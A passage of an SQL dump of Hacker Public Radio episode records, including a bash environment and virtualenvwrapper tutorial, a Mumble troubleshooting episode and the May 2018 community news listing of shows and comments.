(2322,'2017-06-27','A bit of background on virtualenvwrapper',1059,'Linux processes, the process environment and the shell, as they relate to virtualenvwrapper.','<h1 id=\"a-bit-of-background-on-virtualenvwrapper\">A bit of background on virtualenvwrapper</h1>\r\n<p>Or, Linux processes, the process environment and the shell.</p>\r\n<h2 id=\"speaker-intro\">speaker intro</h2>\r\n<p>Hi, I\'m bjb. I\'ve been using Linux for wow, 20 years now.</p>\r\n<h2 id=\"motivation\">motivation</h2>\r\n<p>knox gave a nice podcast on virtualenvwrapper - it was timely for me, I was just trying to use it the other day and not finding all the bits and pieces. So thank you for collecting that info in one place.</p>\r\n<p>knox asked why virtualenvwrapper behaves as it does ...</p>\r\n<h2 id=\"introduction\">introduction</h2>\r\n<p>virtualenvwrapper is a combination of bash functions and programs.</p>\r\n<p>To understand how it works you need to know a little bit about bash and Linux.</p>\r\n<p>I know there have been some very good earlier and current! HPR shows on bash. But bash is a huge topic. The man page for it was 3500 lines about 10 years ago ...now it is 4300 plus lines. It has a LOT of functionality, and when you\'re just trying to get something done, it\'s overwhelming to look at. So in this HPR episode, I will just answer one or two of knox\'s questions. It gives me an excuse to make an episode.</p>\r\n<p>Also I\'m not going to go too deep into the description. In order to keep the podcast short and to-the-point, I\'m just going to cover what is needed. There is lots more depth - there are several shells you could use and I\'m only going to talk about bash; at startup bash can read more than just the files I mention in this podcast ... I\'m just not going to cover all the possibilities. That\'s what the over 4300 line man page is for : -). If you have questions, ask them in the comments, or make your own podcast and ask them! Maybe you\'ll get some answers - either from me or from another HPR community member.</p>\r\n\r\n<h2 id=\"environment-for-processes\">environment for processes</h2>\r\n<p>A program that has no inputs is not flexible or powerful. As a simple example, a program that displays the results of a hard-coded search is certainly useful if you want to know about that hard-coded search term. But a program that can search for a term that you specify at run time is so much more useful. You do not have to recompile the program to change the search term.</p>\r\n<p>Programs can receive inputs in several ways.</p>\r\n<p>On Linux and other unix-like OSs, a program can be run with arguments, read and write to file descriptors (and that includes standard in, standard out and standard error), they can receive signals - and they have another input: the &quot;environment&quot;. That is a bunch of key-value pairs that are made available to the program when it starts. Some examples of environment variables are PATH, HOME, EDITOR and PAGER. The name of the environment variable, \'PAGER\', is the key, and the thing on the other side of the equals sign, like \'less\', is the value - the pair make up a key-value entry in the environment.</p>\r\n<p>People who program in C or C++ and maybe other languages know that the program starts with a main function, and that function has some parameters. The first one is a count of arguments and the second one is an array of strings, each string being one of the arguments passed to the program when it is launched. There is a little-known optional third parameter: an array of strings that represents the &quot;environment&quot;.</p>\r\n<p>The way the program gets these strings is that it inherits them from its parent process. The parent process of programs that are run from the command line is ... the command line itself, bash. Or csh, or whatever your shell is. When the program starts, it gets a copy of the exported parts of the environment of its parent.</p>\r\n<h3 id=\"environment-in-bash\">environment in bash</h3>\r\n<p>Bash gives you the ability to set these environment variables and mark them as &quot;available for handing to subprocesses&quot;, and that is what is happening when you give that &quot;export&quot; command.</p>\r\n<p>You can view all the currently defined variables that have been marked for export by using the &quot;env&quot; command with no arguments. E N V - echo november victor. Or, env, short for environment.</p>\r\n<p>Since these variables are passed down the generations from parent to child, it is usually sufficient to define it once at the top level.</p>\r\n<p>The command line itself is a program called bash. It reads some files at startup.</p>\r\n<p>As an example of the &quot;generations&quot;, you can call bash from within bash. And you can call bash again from within that bash. Then the first bash is the parent of the second one, and the second one is the parent of the third. The third bash is the child of the second.</p>\r\n<p>You can see the environment changing: Set a variable fred=one in the first shell and export it:</p>\r\n<p>export fred=one</p>\r\n<p>then run bash. In that bash you can echo $fred, and see that fred is one. Now you can change fred to two:</p>\r\n<p>export fred=two</p>\r\n<p>and run the third bash. In the third bash, you can see that fred is two:</p>\r\n<p>echo $fred</p>\r\n<p>now exit bash with the exit command.</p>\r\n<p>If you echo $fred, you will see fred is still two, since we set it to two just before we ran the third bash. But if you exit again, you will be back to the first bash, and you will see that fred is now one. This is the environment that bash had, just before you launched the second bash. The second and third environments are gone - those processes terminated when the exit command was given on their prompts; and when they did, their environments were cleaned up and removed.</p>\r\n<p>In the show notes, I have another exercise to help with understanding this environment thing.</p>\r\n<p>Here\'s another exercise to illustrate this principle. Type bash and<br />\r\nenter, and you will be in a subshell. If you show a process listing<br />\r\nin a hierarchical format, with children indented from their parents,<br />\r\nyou will see that the bash you are currently in is a child of<br />\r\nanother bash. The command to see the list of running processes in<br />\r\nhierarchical format is:</p>\r\n<p>    ps -efH</p>\r\n<p>There are several bash processes. In order to pick out the bash<br />\r\ninstance that I\'m running, I look for the ps process, because it has<br />\r\na uniqe string in the arguments: -efH. In the less session, search<br />\r\nfor \'efH\' by typing &quot;/efH&quot;. The screen will jump to where the<br />\r\nps -efH process is, and highlight the &quot;efH&quot; string that you searched<br />\r\nfor. The line you searched for will be at the top of the display<br />\r\n... to see the few lines above, type &quot;kkkk&quot; (one k for each line to<br />\r\nmove up). To exit from less, type q.</p>\r\n<p>Go ahead and export another made-up variable - perhaps your street name:</p>\r\n<p>   export CHESTNUT=rizwan</p>\r\n<p>Make sure it is there with the env command:</p>\r\n<p>   env | grep CHESTNUT</p>\r\n<p>and then run another subshell, and search for it again:</p>\r\n<p>   bash<br />\r\n   env | grep CHESTNUT</p>\r\n<p>Exit the various shells with the &quot;exit&quot; command or by typing ^D. If<br />\r\nyou exit the subshell, and the shell in which you created the<br />\r\nCHESTNUT environment variable, you can run the env command and<br />\r\nsearch for that environment variable - it will not be there. The<br />\r\nprogram in which the environment variable was created has terminated,<br />\r\nand its environment has been discarded.</p>\r\n<h3 id=\"bash-startup-files\">bash startup files</h3>\r\n<p>When bash is a login shell, it reads ~/.bash_profile. When it is not a login shell, but some subshell of the login shell, it reads ~/.bashrc.</p>\r\n<p>So for things that you only need to set once, you can put them in ~/.bash_profile. For things that you have to run for each new subshell, you put them in .bashrc.</p>\r\n<p>(Note that most distributions will set up the user accounts so they will run ~/.bashrc from .bash_profile for interactive shells)</p>\r\n<h3 id=\"the-path\">the PATH</h3>\r\n<p>This is important, because of two things. The first is the PATH. The PATH is one of the environment variables that is used by the system to look for executables. So if you want to run a program, it should be in one of the directories on the PATH, or you will have to specify the full path to the program when running it.</p>\r\n<p>When you first get your account on a system, there is a default version of the .bashrc and .bash_profile files. In .bash_profile there should be a definition of the PATH. It contains the system directories like /usr/bin and /bin - you don\'t want to remove those from your path or your shell will become next to useless - you will have to use full paths for all commands. So the way that people add directories to the PATH is to assign the existing value of PATH to itself, plus the desired new directories. For example:</p>\r\n<blockquote>\r\n<p>PATH=$PATH:/home/bjb/bin</p>\r\n</blockquote>\r\n<p>But if you put this in .bashrc, then every subshell will have another copy of the directory /home/bjb/bin tacked onto the end of the PATH. So the right place to put this definition is in ~/.bash_profile, where it will be executed once and then inherited by all the subshells.</p>\r\n<h3 id=\"shell-functions-and-aliases\">shell functions and aliases</h3>\r\n<p>However not everything you need in the shell is inherited from the parent program. It turns out that another facility that bash supplies and that virtualenv uses is the ability to define and execute bash functions. Bash also has aliases.</p>\r\n<p>A bash function is a series of bash commands that have been given a name, and that you can run by typing that name. It can also receive arguments that can influence how the function will behave. HPR episode 1757 by Dave Morriss called &quot;Useful Bash Functions&quot; talks about bash functions.</p>\r\n<p>You can see the list of currently defined bash functions by using the bash command: declare -F</p>\r\n<p>An alias is a simpler version of a function - it is (usually) just a shorter string to represent a longer or more complicated command, to make command line use easier (assuming you can remember all the aliases in the first place).</p>\r\n<p>You can see the list of currently defined aliases by using the bash command: alias</p>\r\n<p>virtualenvwrapper makes use of bash functions. This has consequences.</p>\r\n<h3 id=\"the-bash-builtin-command-source\">the bash builtin command \'source\'</h3>\r\n<p>One is that you need to define those functions in every subshell. That\'s why you need to put &quot;source /usr/local/bin/virtualenvwrapper.sh&quot; in your bashrc.</p>\r\n<p>Well it seems that on a Debian system virtualenvwrapper puts the workon shell function into your shell via a more convoluted route. I will describe it in the show notes. But in the end, the virtualenvwrapper file that defines the virtualenvwrapper adds the function workon to your shell by sourcing the file /etc/bash_completion.d/virtualenvwrapper whenever .bashrc is sourced. (Note that &quot;.&quot; is shorthand for the bash &quot;source&quot; built-in command.) The &quot;workon&quot; function is defined in /etc/bash_completion.d/virtualenvwrapper (the definition is about in the middle of the file.)</p>\r\n<p>- ~/.bashrc sources /etc/bash_completion or /usr/share/bash-completion/bash_completion<br />\r\n  (whichever one it finds first);<br />\r\n- which sources /usr/share/bash-completion/bash_completion;<br />\r\n- which sources all the files in /etc/bash_completion.d<br />\r\n- one of which is virtualenvwrapper.sh<br />\r\n- which defines the bash function workon.</p>\r\n<p>Look at that, on a Debian system &quot;apt-cache show virtualenvwrapper&quot; does indeed list bash-completion as a dependency. The virtualenvwrapper upstream does not assume you will be using command completion, and in the comments at the top of the /etc/bash_completion.d/virtualenvwrapper file tell you to put &quot;source .../virtualenvwrapper.sh&quot; into your ~/.bashrc file.</p>\r\n<p>A description of bash-completion could be a topic of another podcast (I\'m not actually volunteering to do this one, heh, just suggesting it as a topic).</p>\r\n<h3 id=\"life-cycle-of-environment\">life cycle of environment</h3>\r\n<p>Another consequence is this: When you run a program, it will inherit a copy of the environment of its parent. When it is done, it will exit and that environment will disappear. So, you cannot run a program or subshell to try to affect your environment. It will affect the subshell or program environment, and as soon as the command is done, that updated environment will disappear.</p>\r\n<p>The &quot;source&quot; built-in bash command is meant to allow you to run a bunch of commands in a file as if they had been typed on the command line. So you can put commands that affect the environment, and the environment will still have the changes when the sourcing is done.</p>\r\n<h3 id=\"back-to-virtualenvwrapper-conclusion\">back to virtualenvwrapper: conclusion</h3>\r\n<p>So, virtualenvwrapper is mainly changes to the environment. It consists of a few files that are stored in ~/.virtualenvs, with names like postactivate and premkvirtualenv. They are basically hooks to add functionality before and after the commands you would issue for virtualenv, so you can customize virtualenv.</p>\r\n<p>To understand virtualenvwrapper, let\'s have a quick look at virtualenv first. The things you do with virtualenv are to create a virtualenv, destroy one, and activate one.</p>\r\n<p>So the things you can do with virtualenvwrapper are to run some script or scriptlet before or after you create a virtualenv, destroy a virtualenv, or activate a virtualenv.</p>\r\n<p>The main thing to customize is the &quot;where to find the activate file&quot; and the &quot;what to do after activating \'postactivate\'&quot;.</p>\r\n<p>It does this by setting environment variables (like PATH and PYTHONHOME) appropriately and by defining bash functions to do things like change directory to where the project is.</p>\r\n<p>You just have to edit .virtualenvs/postactivate to contain the location of your project files. You also define WORKON_HOME to be the directory that contains all your virtualenvs (for me that is /usr/local/pythonenv, but for most people it will be some directory in their home directory.</p>\r\n<h3 id=\"summary\">Summary</h3>\r\n<p>virtualenv manipulates the environment in order to allow you to have different python setups for your different projects - handy if you have one project that depends on different versions of python packages than another project and you want to run both.</p>\r\n<p>But virtualenv leaves a few rough edges, like leaving it up to you to find the virtualenv in order to source the activate script. That is where virtualenvwrapper comes in.</p>\r\n<p>We have talked about the environment, and how virtualenvwrapper manipulates the environment to make it easier to work with the virtualenvs that you have created.</p>\r\n<p>The environment refers to the set of environment variables that are defined and passed to child processes. We also discussed the process hierarchy and that a new environment is created for a new process, and it is destroyed when that process exits. We covered sourcing a file of shell commands, so that if those commands affect the environment, then when the sourcing is done, the environment left is the one that was changed and the changes persist past the source command. We talked about the .bash_profile and the .bashrc files.</p>\r\n<h3 id=\"hpr-exhortation\">HPR exhortation</h3>\r\n<p>You\'ve been listening to Hacker Public Radio. Anyone can make a show -if I can do it, so can you.</p>\r\n',357,0,0,'CC-BY-SA','python,virtualenvwrapper,virtualenv,bash,linux',0,0,1),
(2323,'2017-06-28','How to Configure Mumble in Real Time',384,'The cast of the urandom podcast help a guest troubleshoot their Mumble setup in real time. ','<p>Links relevant to the show:</p>\r\n<ul>\r\n<li><a href=\"https://www.evoterra.com/\" class=\"uri\">https://www.evoterra.com/</a></li>\r\n<li><a href=\"https://scribl.com/\" class=\"uri\">https://scribl.com/</a></li>\r\n<li><a href=\"https://wiki.mumble.info/wiki/Main_Page\" class=\"uri\">https://wiki.mumble.info/wiki/Main_Page</a></li>\r\n<li><a href=\"https://urandom-podcast.info/\" class=\"uri\">https://urandom-podcast.info/</a></li>\r\n</ul>',270,0,1,'CC-BY-SA','Mumble, Podcasting, Audiobooks, Troubleshooting, How To',0,0,1),
(2566,'2018-06-04','HPR Community News for May 2018',3807,'HPR Volunteers talk about shows released and comments posted in May 2018','\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2542\" target=\"_blank\">2542</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-05-01</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2542\" target=\"_blank\">How I helped my dad run a static website using SparkleShare</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2543\" target=\"_blank\">2543</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-05-02</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2543\" target=\"_blank\">Home Theater - Part 1 Hardware</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2544\" target=\"_blank\">2544</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-05-03</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2544\" target=\"_blank\">How I prepared episode 2493: YouTube Subscriptions - update</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2545\" target=\"_blank\">2545</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-05-04</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2545\" target=\"_blank\">HPR 2017 New Years Eve show part 5</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2546\" target=\"_blank\">2546</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-05-07</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2546\" target=\"_blank\">HPR Community News for April 2018</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2547\" target=\"_blank\">2547</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-05-08</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2547\" target=\"_blank\">MSYS2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2548\" target=\"_blank\">2548</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-05-09</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2548\" target=\"_blank\">Single Vs Multiple Characters</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2549\" target=\"_blank\">2549</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-05-10</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2549\" target=\"_blank\">DVD ripping using old hardware</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2550\" target=\"_blank\">2550</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-05-11</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2550\" target=\"_blank\">Howto get started playing RPGs</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2551\" target=\"_blank\">2551</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-05-14</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2551\" target=\"_blank\">Calibrating Calibration</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2552\" target=\"_blank\">2552</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-05-15</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2552\" target=\"_blank\">What is stow?</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2553\" target=\"_blank\">2553</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-05-16</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2553\" target=\"_blank\">Get ahead with git HEAD</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2554\" target=\"_blank\">2554</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-05-17</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2554\" target=\"_blank\">Gnu Awk - Part 11</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2555\" target=\"_blank\">2555</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-05-18</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2555\" target=\"_blank\">HPR 2017 New Years Eve show part 6</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2556\" target=\"_blank\">2556</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-05-21</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2556\" target=\"_blank\">Building trust</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2557\" target=\"_blank\">2557</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-05-22</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2557\" target=\"_blank\">Styx -- The Purely Functional Static Site Generator</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2558\" target=\"_blank\">2558</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-05-23</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2558\" target=\"_blank\">Battling with English - part 1</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2559\" target=\"_blank\">2559</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-05-24</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2559\" target=\"_blank\">My Favourite Browser extension</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2560\" target=\"_blank\">2560</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-05-25</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2560\" target=\"_blank\">General Data Protection Regulation (GDPR)</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2561\" target=\"_blank\">2561</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-05-28</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2561\" target=\"_blank\">A reluctant dog walk</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2562\" target=\"_blank\">2562</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-05-29</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2562\" target=\"_blank\">I bought a laptop</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2563\" target=\"_blank\">2563</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-05-30</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2563\" target=\"_blank\">Action In Storytelling</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2564\" target=\"_blank\">2564</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-05-31</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2564\" target=\"_blank\">Intro to Fossil</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 18 comments in total.</p>\n<p>There are 7 comments on\n5 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1762#comments\" target=\"_blank\">hpr1762</a></strong>\n(2015-05-05) \"<em>HPR Audio Book Club 10</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=1762#2\" target=\"_blank\">Comment 2</a>:\ndodddummy on 2018-05-12:\n\"Tickles me in places I&#39;m not sure I&#39;m comfortable with\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2381#comments\" target=\"_blank\">hpr2381</a></strong>\n(2017-09-18) \"<em>Benefits of a tabletop</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2381#4\" target=\"_blank\">Comment 4</a>:\nBrian DeRocher on 2018-05-02:\n\"open source games\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2536#comments\" target=\"_blank\">hpr2536</a></strong>\n(2018-04-23) \"<em>Lostnbronx examines points-of-view and tenses in storytelling.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2536#1\" target=\"_blank\">Comment 1</a>:\nFweeb on 2018-05-02:\n\"2nd person\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2536#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2018-05-02:\n\"Chinese\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2536#3\" target=\"_blank\">Comment 3</a>:\nlostnbronx on 2018-05-02:\n\"Fweeb, I think you&#39;re right\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2540#comments\" target=\"_blank\">hpr2540</a></strong>\n(2018-04-27) \"<em>28 - TLS 1.3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2540#1\" target=\"_blank\">Comment 1</a>:\nGavtres on 2018-04-30:\n\"TLS 1.3\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2541#comments\" target=\"_blank\">hpr2541</a></strong>\n(2018-04-30) \"<em>Microphone Wind Screen Demo</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2541#1\" target=\"_blank\">Comment 1</a>:\nfolky on 2018-05-03:\n\"Very quit\"</li></ul><br/>\n</li></ul>\n<p>There are 11 comments on 8 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2546#comments\" target=\"_blank\">hpr2546</a></strong>\n(2018-05-07) \"<em>HPR Community News for April 2018</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2546#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2018-05-07:\n\"Re: butchering\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2547#comments\" target=\"_blank\">hpr2547</a></strong>\n(2018-05-08) \"<em>MSYS2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2547#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2018-05-08:\n\"MSYS2 is What Cygwin Should Be\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2547#2\" target=\"_blank\">Comment 2</a>:\nGavtres on 2018-05-08:\n\"Git Bash\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2549#comments\" target=\"_blank\">hpr2549</a></strong>\n(2018-05-10) \"<em>DVD ripping using old hardware</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2549#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2018-05-30:\n\"neat\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2550#comments\" target=\"_blank\">hpr2550</a></strong>\n(2018-05-11) \"<em>Howto get started playing RPGs</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2550#1\" target=\"_blank\">Comment 1</a>:\nredrider06 on 2018-05-22:\n\"Howto get started playing RPGs\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2551#comments\" target=\"_blank\">hpr2551</a></strong>\n(2018-05-14) \"<em>Calibrating Calibration</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2551#1\" target=\"_blank\">Comment 1</a>:\nmcnalu on 2018-05-14:\n\"Oscillowant\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2551#2\" target=\"_blank\">Comment 2</a>:\nNYbill on 2018-05-14:\n\"A chimp by another name...\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2556#comments\" target=\"_blank\">hpr2556</a></strong>\n(2018-05-21) \"<em>Building trust</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2556#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2018-05-25:\n\"Profound\"</li></ul><br/>\n</li><li><strong><a 